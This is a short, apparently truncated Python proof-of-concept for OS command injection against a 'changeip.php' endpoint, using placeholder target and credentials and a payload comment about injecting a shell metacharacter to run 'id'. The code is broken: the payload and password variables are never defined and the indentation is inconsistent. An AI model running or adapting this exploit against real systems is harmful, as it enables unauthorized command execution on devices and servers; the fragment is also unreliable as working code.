python

#!/usr/bin/env python3
import requests

# Target configuration
target_url = "http://<TARGET_IP>/changeip.php"
username = "<USERNAME>"

# Vulnerable parameter and payload
# The payload injects a shell metacharacter to execute 'id' command

    # Send authenticated POST request
    response = requests.post(
        target_url,
        data=data_payload,
        auth=(username, password), # Adjust auth method based on actual app requirements
        timeout=10
    )
